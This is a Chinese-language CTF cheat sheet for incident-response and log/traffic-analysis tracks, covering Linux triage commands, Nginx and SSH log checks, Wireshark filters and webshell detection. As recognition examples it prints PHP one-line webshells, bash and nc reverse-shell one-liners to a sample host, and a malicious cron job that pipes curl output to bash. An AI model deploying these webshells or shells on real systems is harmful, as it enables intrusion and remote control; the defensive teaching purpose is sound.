CTF 运维赛道离线资料库(分类整理版)
适用于:
- GZCTF
- 网络安全运维赛道
- Linux 应急响应
- 流量分析
- 日志分析
- 离线比赛环境
建议:
- 比赛前提前保存到本地
- 配合 Typora / VSCode 使用
- 支持全文搜索
一、Linux 应急响应
1. 信息收集
当前用户
whoami
当前目录
pwd
IP 地址
ip addr
查看系统版本
cat /etc/os-release
查看内核
uname -a
2. 进程排查
查看进程树
ps auxf
CPU 占用最高
ps aux --sort=-%cpu | head
内存占用最高
ps aux --sort=-%mem | head
查找 bash 反弹 shell
grep -R "/dev/tcp/" /
3. 网络排查
查看监听端口
ss -antpl
或:
netstat -antpl
查看网络连接
lsof -i -P -n
4. 登录日志
最近登录
last
登录失败
Ubuntu:
grep "Failed password" /var/log/auth.log
CentOS:
grep "Failed password" /var/log/secure
5. 计划任务排查
当前用户
crontab -l
系统计划任务
cat /etc/crontab
6. WebShell 排查
查找 eval
grep -R "eval(" /var/www
查找 base64_decode
grep -R "base64_decode" /var/www
查找 system
grep -R "system(" /var/www
二、日志分析
1. Nginx 日志
日志位置
/var/log/nginx/access.log
查找 SQL 注入
grep -Ei "union|sleep|benchmark|select" access.log
查找 WebShell 上传
grep ".php" access.log
2. SSH 日志
Ubuntu:
/var/log/auth.log
CentOS:
/var/log/secure
查找成功登录
grep "Accepted password" /var/log/auth.log
查找失败登录
grep "Failed password" /var/log/auth.log
3. 日志分析例子
例子:发现 SQL 注入
日志
GET /index.php?id=1 union select 1,2,3
分析
关键词:
union select
说明:
SQL 注入
例子:发现命令执行
日志
GET /index.php?cmd=cat+/etc/passwd
分析
URL 解码:
+
=
空格
恢复:
cat /etc/passwd
三、流量分析(Wireshark)
1. 常用过滤器
HTTP
http
DNS
dns
TCP
tcp
SMTP
smtp
2. Follow TCP Stream
比赛最高频操作:
右键数据包
→ Follow
→ TCP Stream
3. 流量分析例子
SMTP 邮件题
数据包
RCPT TO:<test@ctf.com>
答案
test@ctf.com
Basic Auth
数据包
Authorization: Basic YWRtaW46MTIzNDU2
解码
echo YWRtaW46MTIzNDU2 | base64 -d
结果
admin:123456
四、WebShell 与恶意代码
1. PHP 一句话木马
<?php eval($_POST['cmd']); ?>
危险函数:
eval
2. Base64 木马
<?php eval(base64_decode($_POST['a'])); ?>
3. system 命令执行
<?php system($_GET['cmd']); ?>
4. 常见危险函数
eval
assert
system
exec
shell_exec
passthru
base64_decode
五、Linux 高危行为
1. 反弹 Shell
Bash
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
nc
nc -e /bin/bash 1.1.1.1 4444
2. 挖矿程序
高频:
xmrig
特点:
- CPU 极高
- 长连接
- 隐藏进程
3. 恶意计划任务
*/1 * * * * curl http://1.1.1.1/shell.sh | bash
危险点:
curl | bash
六、比赛高频命令
grep
搜索 flag
grep -R "flag" /
搜索 password
grep -R "password" .
find
查找 php 文件
find / -name "*.php"
最近修改文件
find /var/www -mtime -1
curl
测试 HTTP
curl http://127.0.0.1
md5
计算 MD5
md5sum test.jpg
七、编码解码
1. Base64
编码
echo test | base64
解码
echo dGVzdA== | base64 -d
2. URL 解码
import urllib.parse
print(urllib.parse.unquote('%2fetc%2fpasswd'))
3. Hex 解码
echo 74657374 | xxd -r -p
八、比赛快速思路
拿到服务器先看
whoami
ip addr
ps auxf
ss -antpl
crontab -l
last
Web 题重点目录
/var/www
/www/wwwroot
/usr/share/nginx/html
高危日志
/var/log/auth.log
/var/log/secure
/var/log/nginx/access.log
比赛核心
日志分析
+
流量分析
+
Linux 运维
+
应急响应
真正核心
找异常
找字符串
找端口
找进程
找计划任务
九、推荐离线工具
Windows
- Wireshark
- BurpSuite
- VSCode
- Notepad++
- Python
- Git
- WSL
Linux
- tcpdump
- tshark
- curl
- jq
- net-tools
十、最终建议
比赛很多题本质:
不是渗透
而是排查
真正高频:
grep
find
cat
curl
ps
netstat
ss
比赛时:
先拿基础分
再做复杂题
